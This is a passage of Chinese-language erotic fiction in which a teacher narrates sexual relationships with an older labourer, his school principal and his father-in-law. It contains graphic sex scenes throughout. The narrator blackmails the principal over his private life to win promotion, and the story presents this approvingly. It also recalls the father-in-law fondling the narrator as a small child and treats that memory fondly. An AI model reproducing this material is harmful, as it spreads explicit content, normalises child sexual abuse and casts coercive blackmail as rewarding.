阿西退休的事在我学生家长的努力下,很快就办好了,学生家长把阿西的退
休证交给我时,连我的感谢都不要,这时我想,这是我当教师以来帮别人办得最
漂亮的一件事,也许,当教师也有它的好处吧?

我没有立即把阿西的退休证交给他,而是等到我的房子装修好过后,在此期
间,阿西从没有催过我,也许,他就根本没抱什么希望。

阿西帮我收拾好新居的一切后,我请阿西吃饭,然后叫老婆给阿西算帐,阿
西在我家干了三个月,应该付给他两千多元,但阿西死活只要两千元,说我对他
非常好,本应不收工钱的。老婆望着我,我说:「好吧,收两千就两千吧,就当
我们交个朋友,阿西啊,不知道你愿意不愿意交我这个朋友?」

阿西连忙笑到:「当然愿意,只怕老哥哥我高攀不上呢。」

我说:「阿西呀,再等一个月,我搬家,你可要来帮我的忙哦。」

阿西点点头:「一定,你到时通知我就是。」

那天晚上,我和阿西多喝了几口酒,我把老婆孩子打发回家后,我对阿西说:
「阿西,走,到我新房子里去,我给你一个惊喜。」

进了门,我们坐在沙发上,阿西红着脸望着我,居然脸上还出现了一丝羞涩,
我一看乐了,知道阿西误解了我的意思,他以为我给他的惊喜是要和他那个呢。
我望着阿西红彤彤的老脸,彷彿有靠到了我逝去的爷爷,心中升起一种异样的感
觉,情不自禁地在阿西脸上亲了一口。

阿西呆住了,我趁他还没有回过神来,向他亮出了他的退休证。

「老哥哥,你看这是什么?」

阿西拿过去一看,惊呆了:「我的退休证?」

我指着上面的照片和名字:「看这个老傢伙是谁?他是不是叫赵阿西?」

狂喜的阿西一把抱住我:「我退休了?我再也用不着出去辛辛苦苦挣钱养活
自己,挣钱交养老保险金了?」

趁着酒劲,我也紧紧搂着他:「是的,是的,你可以安渡晚年了。」

阿西从我怀里挣出来:「老弟,你说我该怎么谢你?」他想了一下,从怀里
掏出我老婆付给他的工钱,「我真浑,我能要这些钱么?」

我把钱塞回阿西的口袋:「阿西,你知道吗,你的退休本早到我手里了,我
为什么没给你?就是怕你不要工钱。」

阿西流下了泪水,重複刚才那句话:「老弟,你说我该怎么谢你?」

我笑了:「你想怎么谢?」

阿西不知从哪儿来的勇气,把我按在沙发上,开始脱我的衣服:「我就让你
舒服舒服吧。」

我没有想到阿西会突然袭击,我挣扎道:「不,阿西,别这样。」

我自己都发现我的反抗是多么无力……

我静静地仰躺在沙发上,感到四肢无力,真的,我的意识叫我反抗,告诉我
决不能这样,但我的身体却拚命反抗我的意识,我知道自己完了,既然身体不再
执行意识的命令,我就顺应天意吧。

我像一个旁观者冷静的看着阿西的动作,看着阿西白发苍苍的头在我胯下蠕
动,冷静的听着阿西因兴奋而发出的呢喃声,我突然觉得自己非常好笑,阿西更
是一个滑稽的小丑,我们俩自己都不知道自己在演出一场什么样的喜剧。

也许阿西感到累了,他抬起头,热切地望捉我:「怎么样,舒服吗?」

我问自己:舒服吗?难道这就是我与阿西结交所盼望的结果吗?我多年来,
一直努力让自己保持冷静,努力做一个「正常人」,怎么到了今天,就把自己多
年的努力抛向九霄云外了呢?

我这才意识到,我其实是一个恋老者,多年来,我努力压抑的自己奇怪念头,
就是对老人的依恋,我终于理解了自己小时候喜欢有意无意的看老人的鸡鸡,走
在大街上,总要对帅气、儒雅的老者频频回头的缘故了。

我想起了爷爷,想起了岳父,更想起了大学时期的老教授,我对他的坚持,
居然被阿西瞬间击溃。

我不由得苦笑一声。

「你笑什么?」阿西停住抬起头。

「笑我自己。」

「自己有什么好笑的?」

我自己真的不知道。

阿西坐在了我的身上,他温柔、烁热的身体包容了我的坚硬,我像大海里的
一叶小舟,随着阿西的节奏飘荡。

我这才意识到我给我自己设了一个套,我与阿西的相识本身就很富有戏剧性,
我不是一个吝啬的人,为搬点沙与水泥我居然找了几伙人,当我一看到阿西,就
神支鬼差地要了他,还在他要的价上加了钱。后来,还请他做零工,其实,这是
大可不必的,我的装修工人们都说,在他们干活期间,根本不需要什么零工。

我为什么要帮他办理退休?就因为他的遭遇值得同情?这世上需要同情的人
太多,我同情得过来吗?

现在我终于知道,我与阿西一见面,就为我们的今天埋下了伏笔。我一步一
个套,将阿西往里引,而阿西,也乐呵呵地往我套里钻。难道这就是人们常说的
缘分和天意?我的命中就注定我会成为这样的人?我的理智呢?

我终于明白,我的理智未能战胜情感。

和阿西有了第一次身体接触后,我努力回避自己的感情,但我万万没有想到,
阿西对我着了迷,他说我将是他生命里最后一个男人,他居然把和他同居的三个
男友赶走了。

但我还是拒绝了阿西。

阿西不明白,他固执地认为,我们既然都这样了,为什么不能更进一步来往,
「有了初一,就必然有十五。」

阿西的固执成为我的一块心病,阿西成为我家的常客,他非常的勤快,连我
老婆和孩子都喜欢上了他。

阿西最大的快乐就是和我说说话,拉拉我的手,我问他这是何苦呢?阿西笑
着说:「你是惟一知道我的经历而没有歧视我的人,」他告诉我,就是和他同居
的那些人,「他们干了我很高兴,可我要干他们就要给他们说很多好话,完了还
要嘲笑我。」阿西说:「我和他们永远找不到共同点。」

我明确告诉他,他和我是两条道上的人,也不可能有什么共同点,「阿西呀,
我是很喜欢你,但这种喜欢不是你想像的那样,我们就作一个知心朋友吧。」

阿西问:「那么,你那天为什么要和我……」

可我能告诉他为什么吗?我能告诉他我恋老,告诉他我内心深处的秘密吗?

我知道,我作为一个教师,如果象阿西那样生活,一旦东窗事发,我怎样面
对我的家人,我的学生?

其实,我也许就是一个虚伪的人,一个戴着面具生活的人。

但,我又不得不过着这样的生活。

阿西已经习惯了我对他身体的拒绝,他笑称,我们在精神恋爱,他说:「能
经常看到你,和你说说话,我就很满足了。」

我知道,阿西相信「精诚所至,金石为开」这一千古名言。

阿西呀,你能等到金石为你而开吗?

事情就这样千回百转,2002年,我们学校分了几个中学高级教师的名额,
很多人去争,我的一个要好的朋友要我也去争取,因为我这几年所教的高中毕业
班高考语文成绩在全县都是第一名,又在国家重量级教学刊物上发表了许多文章,
可以作为有特殊贡献的人破格评职称。

朋友的话让我心动,我去找了校长,校长先是大大夸奖了我一番,然后面露
难色,说什么僧多粥少,叫我在等一等。

我决定放弃,但知道要评的人员名单后,我的火就上来了,如果真是评一些
劳苦功高的老教师,我也没有话说,但要评的一些人,从能力到人品,我都实在
不敢恭维。

找校长吵了一架,还是没有结果。我新中的怨气无处发泄,就找阿西来陪我
喝闷酒。

阿西见我脸色阴沉,就一个劲地讲笑话给我听,他的笑话的却很有趣,但我
始终笑不出来。阿西见我不高兴,小心翼翼地问:「今天怎么了,有什么不高兴
的事吗?能不能说给我听听?」

我看了他一眼,他满脸关切,我的心头一热,但说给他,能解决什么问题?
只能增添他的烦恼。

「喝酒吧。」

阿西按住我的手:「说说吧,虽然我不能帮上什么忙,但你说出来后,会感
到好受一些。」

有道理,我一股脑儿把自己这几天所受的不公正待遇倒了出来,阿西静静地
听着,眼中充满关切。

终于倒完了心中的苦水,我舒了口气,压在我心头几天的一块石头被搬掉了。

半晌,阿西问:「你们的校长姓曹,白白胖胖的,戴一幅金边眼镜,五十来
岁,是吗?」

「怎么?」我问,转念一想,一个中学校长,认识的人肯定多。

「他我认识。」阿西对我笑了笑。

从阿西暖味的笑容中,我读到了什么:「你认识?怎么认识的?」

阿西四下看了看,屋子里几乎没有什么人,他把头凑过来,小声说:「我和
他认识好几年了,是在一家录像厅里认识的,后来,他把我叫到他家里。然后,
我们就那个了。」

想不到一个堂堂的中学校长,竟……

我来了兴趣:「他做一还是做0?」

阿西一脸茫然:「什么一,什么0?」

天,我竟对阿西说出专业术语了。我不好意思一笑,给他作了解释。

阿西干了一辈子,还不知道这些术语,他显得很兴奋:「当然我做一他做0,
他喜欢做0,比我做一还兴奋。」

我想像不出我们道貌岸然的校长在阿西胯下的样子,我好奇地问:「你搞他
的样子很有趣吧?」

阿西很是得意:「当然,你见过我的武器,很不错吧?他说是他见过最好的,
而且,也把他搞得最舒服。」

「你们经常联系吗?」

「当然,我们没隔十天半月就联系一次,这两年我不想和他联系,他还不干
呢,每次我把他搞舒服了,他还要给我一百元钱呢,我不要,他说他工资高,有
钱,叫我买点好吃的。我想,他好歹是个有身份的人,也很爱干净,又是你的顶
头上司,就保持了来往。」他怯怯地看了我一眼,「对不起,我没有告诉你,真
的,着两年,只是偶尔和他来往一下,再没有别人。」

我笑了:「阿西,你找别人我不会怪你的,我和你只是朋友,没有别的关系
啊。」

阿西固执地说:「我不会找别人的,你们的校长,我也再也不会和他来往了。」

「别,他要找你,你还是干吧,钱当然要收,不能便宜了他。」

知道了校长的隐私,我特别兴奋,不知不觉又喝多了,阿西扶我回家,走到
半路,我嚷着要尿尿,阿西把我扶进一间厕所,解开我的裤子,掏出我的鸡鸡尿
尿,完后,他舍不得放进去,在外面把玩着,我迷迷糊糊的,竟然没有拒绝他,
他胆子更大了,蹲了下去,含住了我软绵绵的鸡鸡……

第二天,我又来到了校长办公室,校长见了我,有点不高兴。

我不在乎校长的眼神,大大咧咧的在他对面的椅子上坐下,似笑非笑地看着
他。

我发现校长算是一个不错的男人,就是有点阴柔,缺乏男人的阳刚之气,怪
不得他喜欢做0,想到这里,不由得笑了。

「你要干什么?」

「我想讲一个故事给你听,」我坐正身体,两眼盯着校长,「讲一个很有身
份的男人和一个背儿哥的爱情故事,不,我还不知道这叫不叫爱情。」

校长的脸色刷地变白了:「你、你是什么意思?」

我站了起来:「没有别的意思,我想校长是个聪明人,我的意思还能瞒过你?」

校长赶忙把办公室门关上,满脸笑容:「米老师,有话好说,有话好说,来
来来,坐下说。」

「没什么好说的吧?曹校长,我要说的话都说了。」我准备离开。

校长按住我:「小米,」你看多亲热,「小米呀,不就是评个职称吗?我到
市人事局专门给你要一个指标,不就解决问题了吗?看你急得的。」他把我按到
椅子上,拍拍我的脸,暖味的问道:「小米呀,你是怎么认识阿西的?」

望着校长胖乎乎的脸和他色咪咪的笑,我的心里像吃了一把苍蝇,噁心死了,
但有求人家,也不好发作,我也笑瞇瞇的回答道「你说呢?」

「小米啊,其实我早就喜欢你了,是我对你的关心不够啊。」

我的职称很快就解决了,我们的校长突然变得爱才起来,经常在教职工大会
上表扬我,而且年终还被评为县先进,当然我的工作是无可非议的,别人也没有
闲话可说。

我当然知道校长的用心,但我对校长的暧昧态度我自己有时也不能理解,对
校长的挑逗,我也採取一种摸稜两可的态度,着更加使校长对我产生强烈的欲望,
他对我更加慇勤了,为了尽快得到我,他向我抛来一个又一个好处。

我很快成了年级教研组长,有很快成为学校政治处主任。

一个多年来默默无闻的教员,在极短时间内窜红,让所有认识我的人都大吃
一惊,也包括我的老婆。

校长也觉得有恩于我,可能他还觉得不够,他对我的亲密动作也只不过拉拉
手,摸摸我的下面,或说一些刺激的话。

我知道他在等待时机。

阿西说,校长经常问他和我的关系,但他只是说我是他的朋友,一种非常正
常的朋友。

但校长的机会终于来了。2002年冬天,校长要到省上开个教研会,学校
决定他和我去开。

他把一切都想得非常周到,我想,他如果是一个女人,一定是一个非常称职
的家庭妇女。

当然,我们在省城住的一个标间。

入夜,他叫我和他一块儿洗澡,我推口不习惯两个人洗,他竟然在我面前脱
得精光,我第一次看见了他的裸体。那是一具白得晃眼的肥胖肉体,几乎没有体
毛,那样的身体是无法和阿西比较的,因为肥胖,他的胸特别大,像一个女人。

他的下身软软的,缩成一团,掩映在阴毛丛中,几乎看不见,我觉得非常好
笑,但我又不能笑。

他很快洗完,我脱掉衣服,我看见他的眼睛发亮,当他看到我骄傲的下体时,
我听到他嚥口水的声音。我知道,他已经被我深深吸引,已到了无法自拔的地步。

「我们就睡在一起吧?我不习惯一个人睡。」我洗完走出来时他说。

我突然为自己感到了悲哀,我就真的为这五斗米折腰了么?早知道有今天,
当初为什么不答应教授呢?至少,我还是喜欢他的。

望着校长色咪咪的眼睛,我有点后悔我当初的年轻气盛了。可我现在已经不
在年轻了。

我躺在床上,任凭校长在我身上为所欲为。

我的心已死。

但他却显出了极大的热情,他急促的呼吸,颤抖的双手,就把他的内心世界
表露得清清处处。

他吻遍了我的全身。

他含住了我了无生气的男性。

我想控制自己的激情,但在他一流的口技下,我不能自己。

他一点也不在乎我的冷漠,我像一具没有生命的屍体,静静地躺在那里,而
他,却对这具屍体显出了极大的兴趣。

几十分钟过去了,他没有丝毫的疲倦。

「你就不能主动点么?」他终于发话了。

「我从没有做过,不会。」我学会了撒谎。

他显出极大的兴趣:「真的么?你是第一次。」

我歎了一口气,点点头。

校长更加兴奋,更加贪婪的吸着我的身体,过了一会儿,他抬起头来:「还
想玩点新花样么?我保证你会感觉比女人还舒服。」

他的耐心抚弄终于挑起了我的兴趣,我变得情绪高涨起来,他那张胖乎乎的
脸在我的眼里不再那么讨厌了。「你想怎么玩就怎么玩吧。」我回答道。

他立即伏在床上,叫我从后面干他,我迟疑了一下,想到了阿西,但阿西温
暖的身体包容我的时候,那种感觉还是难以拒绝的。

我站在了他的身后,没有费多大的力,我进入了他的身体。

那也是一个让人乐不思蜀的地方。

我的耐力在男人中应该算是娇娇者,在我极富节奏感的冲击下,校长发出快
乐的呻吟声,这更加刺激了我,我的动作加快了,两具肉体撞击发出的「劈啪」
声,像是为我吹响的号角,让我觉得不可思议的是,当我把炙热的生命之液射入
他的身体时,他的小鸡鸡也射出了白花花的液体。

以后的几个夜晚,我们夜夜春宵,我让校长享受了极大的快乐,他也让我对
男人的身体有了新的认识。

我干他的时候,我不由自主地想起了阿西。

回到家,我第一件事就是找到阿西。

阿西见到我,分外惊喜,那样子象怀春的少女见到了心爱的情人,这次,我
没有觉得好笑。

当我吧阿西搂在怀里的时候,阿西流出了眼泪。

我第一次主动亲吻了阿。

我动作十分麻利地脱掉了阿西的衣服,第一次认真打量阿西的身体。

第一次毫不犹豫地用嘴包容了阿西高高昂起的男性的标志。

不争气的阿西,在我还没有为自己的疯狂举动回过神来的时候,就把一股热
辣辣的液体射入我的口中。

这是我一直压抑在心中的欲望么?

我惶然……

轮到阿西了,阿西的口技十分出众,但他的后庭更加诱人。

我尽情享受阿西肉体带给我的快乐……

当我们都筋疲力尽时,阿西搂着我,幸福地说:「我没有想到,你会给我吸,
你不嫌弃我么?」

我拍拍他的脸:「我有什么时候嫌弃过你?」

阿西幽幽的说:「以后,还是让我给你服务吧,你不习惯那样,就不要勉强
自己。能和你在一起,就是我最大的快乐了。」

我的眼睛湿了。

我发觉自己完全变了,变成了一个我自己都不认识的人。阿西回去后,我把
自己关在书房里,一遍遍问自己:这就是真的我么?还是一个扭曲了的自己?

我想了一个晚上都没有想明白,因为,我无法面对自己。

我知道我从内心深处渴望老人的爱,但我又害怕变成阿西那样的人。因为,
我爱我的妻子,爱自己可爱的孩子,我不能伤害他们,更不能为了满足自己的私
欲而给他们生活蒙上阴影。

我决定和校长断绝一切往来,什么名利,都他妈见鬼去吧!

阿西呢?

我犹豫了。我能放下阿西吗?

我终于作出了这样一个决定,尽量少地与阿西进行性接触,就让他作为我的
一个心仪同性朋友吧。

我为我的英明决定而高兴。

但,我过高地估计了我自己的自控能力。

那种事,一但发生了,还由得了自己么?

我没有甩脱校长,一年后,我成为我们学校的副校长。

我经常嘲笑自己,一根鸡巴,就让我平步青云。

阿西还是成了我最亲密的同性爱人,对他的爱,仅次于妻儿。

我真正成了双面人,周旋在妻子与两个男人之间,一边以一个正常人的面孔
出现在家人、同事、朋友、学生面前,一边又以一个淫乱的中年人出现在两个老
男人面前。

我觉得自己活得真累。心中的苦闷无处述说,那种压抑的感觉,让我自己都
害怕自己会因此而疯掉。

我觉得应该让自己解脱,我要找一个可靠的人倾诉我心中的一切。

找一个能心平气和的倾听自己另类感情的人是那么容易么?

2003年9月,我岳母身患癌症去世了。岳父不愿离开故土,到儿子那里
安渡晚年,我主动把他接到我家。

为了尽快让他从丧妻之痛中解脱出来,我想尽一切办法让他开心,但他们毕
竟四十多年的老夫妻了,要忘掉一个人谈何容易啊。

看着岳父一天天消沉下去,我比他的亲儿女还要着急。

毕竟我们之间的感情更深一些。

正当我为找不到办法解除岳父痛苦而烦恼时,我突然想到了阿西。

阿西,已经几乎和我形同陌路的阿西。

他不愿见我痛苦,而主动疏远了我。其实我知道,阿西比我更痛苦。

我找到了阿西,他依然居住在他那三间小房子里,只是没有合住的同性室友
罢了。

阿西见我的到来,十分诧异,我说明了来意,并请他帮我一个忙。

阿西问:「你为什么要找我?我已不愿意在打扰你的生活了。」

望着阿西痛苦的脸,我的眼红了,真想扑上去抱住他,但还没有等我反映过
来,阿西已扑过来抱住了我:「小米啊,我们不要在这样折磨自己了吧?我这些
天都快想死你了。」

我的眼泪掉了下来:「阿西呀,我何尝不想你啊。」

阿西不知道那来那么大的力气,把我按在床上,我没有反抗,而是热切地配
合他的动作。

当我又一次进入阿西的身体时,我才意识到,我是多么的爱着阿西。

我没有告诉阿西我岳父的性倾向,只是说岳母去世了,他很痛苦,让他多陪
陪他,因为我和老婆工作都很忙,再说,他们老年人在一起,有许多共同语言。

我对阿西说:「阿西啊,我岳父其实是一个非常谦和的老人,很好处的,你
们在一起,一定会非常快乐的。」我的潜台词是:你们都是同性恋,自己好好开
发吧。

我这样安排,就想到了他们之间会发生什么,我曾经让老婆给岳父提起过,
给他再找个女人,让他晚年有一个伴,岳父听了很生气,问我们是不是嫌他是个
累赘,这样的话,他一个人生活。

岳父对我说:「小米啊,你不是不知道我的事,我和你岳母生活了大半辈子,
不容易啊,我不会再找女人了。」

我知道岳父的心思,作为他最痛爱的晚辈,让他快乐是我义不容辞的责任,
当然阿西是最理想的人选。

但我不能把我的想法告诉岳父,这样会让他难堪的,我只能提供条件,让他
们自由发展。

我真的没有想到事情发展的这么快,阿西和我岳父认识不到两星期的一个下
午,我有事回家取一些资料,我推开门,大吃了一惊:阿西和岳父一丝不挂地坐
在沙发上,阿西双腿高高举起,而我岳父正伏在阿西双腿之间,他头发花白的头
正一前一后的动。

他们听见开门声,惊恐地站了起来,阿西一见是我,长嘘了一口气,而岳父
则满脸通红,双手摀住下部,十分狼狈。

我已经看见了岳父那根软绵绵的生殖器。

那是我多年梦寐以求的啊。

我一言不发地走进书房,取出我要找的资料,准备离开,我走进客厅时,他
们正手忙脚乱地穿衣服。岳父见了我,走过来,嗫嘘着说:「阿西啊,我们…
…」

我友好的看了岳父一眼:「没什么。爸爸,我不知道你们在家,没什么,你
们聊吧,我要去开一个会。」

晚上,我回到家时,岳父和阿西已准备好了丰盛的晚餐,我知道岳父想封我
的口。唉,岳父啊岳父,你老人家那里知道我的良苦用心啊。

我老婆经常在外打麻将,很晚才会回家的,孩子在省城舅舅那里念书,一个
月才回一次家,整个家里晚上基本上就只有我和岳父两个人。

见我回来,阿西要走,我留他陪我爷俩喝几盅,阿西爽快的答应了,但吃饭
期间,岳父并没有多少话说,他一张脸红红的,因为下午的原故,他很不好意思。

吃完晚饭,阿西主动帮我收拾好碗筷,临走时,阿西小声对我说:「小米,
对不起,我不该……」我打断他的话,只是笑了笑。

我和岳父坐在一起看电视,岳父问:「今晚上没有晚自习呀?」

我摇摇头。岳父抓住我的手,十分难为情地说:「小米呀,我今天下午…
…」

我拍拍岳父的手:「我知道,爸爸,真的没什么。」

我安慰他说:「爸爸,我早知道你有这样的爱好,几年前我不是也看到了么?
那时我就告诉过你,我理解你,」我顿了顿,不明白我为什么动了情,声音有些
哽咽,「爸爸,我真的理解你,我爱你,你知道吗?」

岳父一把抱住我:「我也爱你呀,孩子。」

不知道我俩所说的爱是不是一回事。

就寝时间,老婆没有回家,岳父怯生生的说:「小米,我们能在一起谈谈吗?」

「当然可以呀,爸爸,我们就睡在一起好好谈谈吧。」

当我和岳父躺在一起时,我又想起了小的时候,岳父抱着我,在我小脸上亲
着,摸着我的小鸡鸡,那场景,经常出现在我的梦中。

我依偎在岳父怀里,闻着老人身上特有的气息。

岳父抱着我,就像小的时候,他给我讲了他的一生。

我紧紧依偎在岳父的怀里,就像回到了童年。

岳父用平静的语调讲述他的故事,可我满脑子胡思乱想,他的话,我一句也
没有听进去。

我的手在岳父身上抚摩着,我的心却十分矛盾。

这时的我,终于认清了自己的本来面目,我爱岳父,这种爱,已超越也父子
之爱。

「你没有听?」岳父对我的动作有所察觉。

「当然在听,」我有些不好意思,「爸爸,我冒昧问一句,你老人家对我有
想法吗?」

岳父突然警惕起来:「你是什么意思?」

我什么也顾不了了:「爸爸,我知道你爱我,在我小的时候,我就深深体会
到了,我现在想知道,我们之间除了父子之爱外,还有别的爱吗?」我紧紧抱住
他,在他毛烘烘的老脸上磨蹭着:「爸爸,我爱你,我早就想对你说,但我一直
压抑着,这些年,我一直不敢正视自己的性取向,我不要在这条路上走下去,我
不能辜负了你对我的信任和期望,你把小妹嫁给我,我知道你的良苦用心,你喜
欢我,这样你就能正确对待我们之间的关系,我们是父子,如果那样,就是乱伦,
是吗?」

岳父怔怔地看着我,半天说不出话来,然后,紧紧地抱住了我:「孩子,你
说的对,我喜欢你,当你还是一个很小的男孩时候,正因为我是那么地爱你,我
不能伤害你,我一直想把你当成儿子看待,但仍然不能压抑我对你的想法,我只
好把小妹嫁给你,以此断绝我对你的同性之爱的念头。」

「爸爸,我们毕竟不是亲生父子啊。」我感动地说。

「但,」岳父非常犹豫,「如果那样,我们还是乱伦啊。」

我自己也不知道为什么这样乱性:「爸爸,我们又不会生小孩。」这是电影
「八又二分之一女人」里儿子与父亲发生关系时说的一句话。但这句好在这里也
起到了非常好的作用。

岳父把我抱得更紧了,我明显感觉到他已经激动起来,「孩子,你真的想和
我……」

「爸爸。我能摸摸你吗?」

岳父摊开身体,小声说:「你想怎样就怎样吧,儿子。」

我几乎屏住呼吸,轻轻摸到岳父已经微微硬起的东西,我感觉自己的心快从
嗓子眼里蹦出来,老人的东西在我手中慢慢舒展,变得雄伟、炙热,我喃喃的对
岳父,也是对自己说:「天啊,怎么这样?」

我突然相信宿命,也许我命中已经注定我会变成这样的人,不管以前我怎样
努力地与命运抗争,我仍然摆脱不了命运的安排。

而今,到了这般年纪,我还能与命运争什么?听天由命吧!

以前,我还认为我沦落成这样,是认识了阿西的错,现在我才明白,我认识
不认识阿西,我终究逃不出命运的掌控。

没有阿西,就一定有阿东,我改变不了命运,我就只能改变我自己。

岳父和我热吻起来,他的舌头进入了我的口中,他口中淡淡的烟草味让我着
迷。

于是,我贪婪地吸着他的舌头。

我把岳父按在身下,我的坚硬抵住了他的后庭。

正当我要奋力进入时,岳父的一声呻吟,像一声闷雷,击醒了我。

「我这样做了,还能算人么?」

我翻身下来。

「怎么了?」岳父不解地问。

我痛苦地说:「爸爸,对不起,我不该这样。」

他转过身来抱住我,安慰我说:「别这样,孩子,你不是说了我们不是亲生
父子么?」

「但我那样做,不仅是对你伤害,还是对你极大的不尊敬啊。」

岳父摸着我硬邦邦的男性:「不要那样认为,你那样做,是因为爱,我也是
因为爱才和你那样的。」

他告诉我,今天下午,不是我及时回来,阿西就破了他的身了。「孩子,我
更愿意是你呀。」他翻过身去;「来吧,儿子,把我的第一次拿去吧。」

你说,我还能做些什么?

我也只能用我的第一次回报我亲爱的岳父大人。

我没有想到的是,第一次是那么的痛苦。

我和岳父的关系发生了本质的变化,我更爱我的岳父了。可是,每当我们亲
热后,我总是不能面对他。

岳父也察觉到了,他同样处在极端的矛盾之中,一方面,他不能拒绝我的诱
惑,另一方面,这样做,对不起他的女儿。

我们在矛盾相爱,相爱的同时,又深深地自责。

我们就像上了毒隐的人,既认识到了毒品的危害,又抗拒不了毒品的诱惑。

而我那善良而又单纯的老婆,哪能知道我与她父亲之间的孽缘呢?

我对自己说,一定要想办法,至少,不能和岳父住在一起了,一旦东窗事发,
那怎么得了?

我想到了阿西。

我一想到阿西,阿西就来了。

阿西眼圈红红的,几天没见,人也瘦了许多。

「阿西怎么了?」我关切到问。

阿西给我看了一封信,是他快十年没见面的儿子的来信。

信中说,他感谢阿西在他妈妈不在的时候把他拉扯大,并让他学了一门手艺,
现在他已经不再责怪他是同性恋了,因为他们之间已经没有任何关系了。信中说,
他不是阿西的儿子,而是他母亲和她的情人生的,他要回到他亲生父母身边。

最后,他说,为了感谢阿西多年的养育之恩,特寄来两万元钱,算是对阿西
的一点补偿,从此他们之间恩断义绝,再没有任何关系。

「我知道他妈妈和那个地主小子有关系,我没有在乎,她和他私奔,我还认
为是一种解脱,我含辛茹苦的把儿子拉扯大,他却说他是别人的儿子。」阿西痛
苦的说。

「难道你一点儿也不知道他不是你亲生的么?」岳父问。

「别人议论过,他长得像他妈妈,他小时候十分亲热我,我也没有怀疑。」
阿西蹲在地上,双手抱着头,十分痛苦。「可我真的爱他,他妈妈走的时候他还
小,我一把屎一把尿地把他拉扯大,不容易啊,后来,他妈妈想他到她那里去,
他不愿意,他说:『爸爸,妈妈不要良心,丢下我们不管,我不认她,我要跟你
在一起。』在后来,他妈妈说我是阴阳人,不喜欢女人喜欢男人,她才离开我的,
我儿子还是不相信,直到他看见我和其他男人在一起,才生气地带着老婆孩子到
外面打工,我想,等他到了一定时候,他会理解我的,没有想到,他竟然……」

我找不到什么话来安慰阿西,我扶起他,让他坐在沙发上,给他一些纸巾。

岳父用一种感激的眼光看着我,我知道他的心思,他感激我对他的理解,也
在告诫我们不要走阿西的路。

我决定给阿西的儿子写封信。

我对他说,阿西是如何地思念他,一个养育了他十几年的父亲,怎么就凭几
句话就否认了呢?就算阿西不是他的亲生父亲,也不能这样无情的抛弃他呀。

他儿子回信说,他不是就轻易相信别人的人,他不喜欢爸爸,是因为他不能
接受一个变态男人作父亲,但他也不喜欢他的母亲,不喜欢背着自己老公和其他
男人私通的女人,他妈妈告诉他那个男人是他亲生父亲时,他并不相信,后来,
他们做了亲子鉴定,在铁的事实面前,他不能装糊涂。

他在信中说:「其实,我恨他们两个人,我谁也不认,反正我是一个弃儿,
我自己能够生活。」

阿西的儿子态度十分坚决,我劝阿西:「这么多年他没有认你,你不也过得
好好的么?既然他不要你这个父亲,你有何必留恋这个儿子?」

我知道我的话十分苍白,三十多年的儿子,说没了就没了,他能不心痛么?

阿西说,他知道儿子看不起他,但毕竟还有希望,现在,连一点希望也没有
了。

望着阿西痛苦的样子,我突然有了一股冲动,我抱住阿西:「阿西,如果你
不嫌弃,我就是你的儿子。」

阿西呆住了,半天才回过神来,紧紧搂住我,放声痛哭起来。

岳父想到了一个十全十美的办法,他要和阿西住在一起。

我老婆不干了,她气沖沖地问她的爸爸是什么意思,岳父说,阿西很可怜,
他想多陪陪他,再说,他们两个老头住在一起,共同语言多一些,「反正隔得又
不远,你们的中午饭,我或阿西来给你们做。」

老婆生气了:「我们接你来,是为了让你给我们作饭的么?」

我劝老婆:「算了,就遵从爸爸的意见吧。」

老婆立即把矛头指向我:「当然喽,他又不是你的亲爹,他住那里与你没有
关系。」

我懒得和她争辩,岳父却火了:「你是什么话?你一天不是上班就是打牌,
你关心过我吗?人家小米又是工作,又要料理家务,对我关心备至,就很够意思
的了,你有什么资格说什么亲生不亲生?」

老婆生气道:「我知道,从小你就喜欢他,我和哥哥都不如他。」

我对老婆说:「说这些干什么?如果你真的孝顺老人,就应该听老人的话。」

老婆语气软了:「我、我怎么给哥哥说?」

「我给他说。」岳父生气地说。

「算了,」我说,「还是我来说吧,哥哥他会理解的。」

哥哥确实十分理解。

他们两个老人住在一起后,十分快乐,阿西失去了一个不爱他的儿子,却得
到了一个理解他的同龄人和一个尊敬他、爱护他的义子,自然十分兴奋。

他悄悄对我说:「干儿子,我们还能做那个事吗?」

我拍拍他的脸:「我岳父来陪你还不够吗?」

他笑了:「够、够,可我还是想你呀。」

「想我的时候,我会来的。」

一年后,阿西住的老街要重建,房产开发商对他说,如果他不要房,可以一
次性补偿他五万元,要房,按新建房算,阿西得补他们几万元。阿西问我,是要
一套小户型,还是要一套大房。

我说:「你有这么多钱吗?」

岳父说:「我有。」

阿西的房子拆迁后,我老婆邀请他和岳父到我家来住,两位老人婉言谢绝,
他们在外面找也一间小房子,对此,老婆大惑不解,这里的奥妙我自然知道,就
对老婆说:「管他们呢,只要他们觉得方便就行。」

两个老人生活得非常快乐,校长被阿西彻底拒绝了,为此,他很是生气,不
住地对我抱怨,我对他说:「阿西老了,身体不如以前了,你要体谅他才是。」

校长生气地说:「屁,他现在找了个老头与他同居。」

我逗他:「阿西就那么好吗?」

他以为我在吃醋,忙陪着笑脸说:「不是我惦记阿西,你知道我对女人没有
兴趣,你又不常和我在一起,我只能找他塞。」

我笑着说:「这都怪你欲望太强了,一周要两、三次,谁吃得消啊,我可是
有老婆的人,总不能全给你吧?」

其实,我老婆对麻将的欲望远比对床第之事的欲望大的多,幸好如此,我才
能分身对付岳父与阿西,我爱着两个老人,而校长,一月能给他一、两次就非常
不错了。

2005年,阿西的新居建成了,他要了三室两厅,两厨两卫,140多平
米的一套住房,而且,还没有要岳父的钱,岳父十分不过意,阿西就叫他掏钱装
修,房屋的装修,全是按照我的喜好。

房子装修好后,他们乔迁新居,我和老婆前去祝贺,吃过午饭,我的老婆就
去上班了,恰巧我这天下午没有课,决定留下来多陪他们一会,阿西和岳父对视
了一眼,走进卧室,笑吟吟的拿出一个红本本,递给了我,我一看,是他新房的
产权证,产权证上居然是我的名字。

我惶然:「怎么能这样?」

阿西望着我的眼睛:「你不是我们的儿子吗?这是我给我的儿子的礼物啊。」

我紧紧抱住阿西,动情地说:「你们才是上天给我的最好礼物啊。」

岳父打趣道:「那,你拿什么来报答我们呢?」

望着两个老头色咪咪的眼睛,我笑了:「我除了我的身体,便一无所有啊,
怎么报答?」

两个老头相视一笑,扑上来,把我抱起放在床上:「我们就要你的身体。」

…………

写完这篇文章,我脑海里不断闪现阿西从少年到老年的身影,如今他所过的
生活,恐怕是他不敢想像的吧,他失去了亲人,却得到了更多人的关爱,他没了
儿子,却有一个比亲儿子更亲的人爱他,他一定十分满足了。

我对着电脑,电脑里居然出现了阿西快乐而慈祥的笑容,我问自己:他能算
是苦命的阿西吗?

这时,我才意识到我的文章命题错了。


  

相关视频

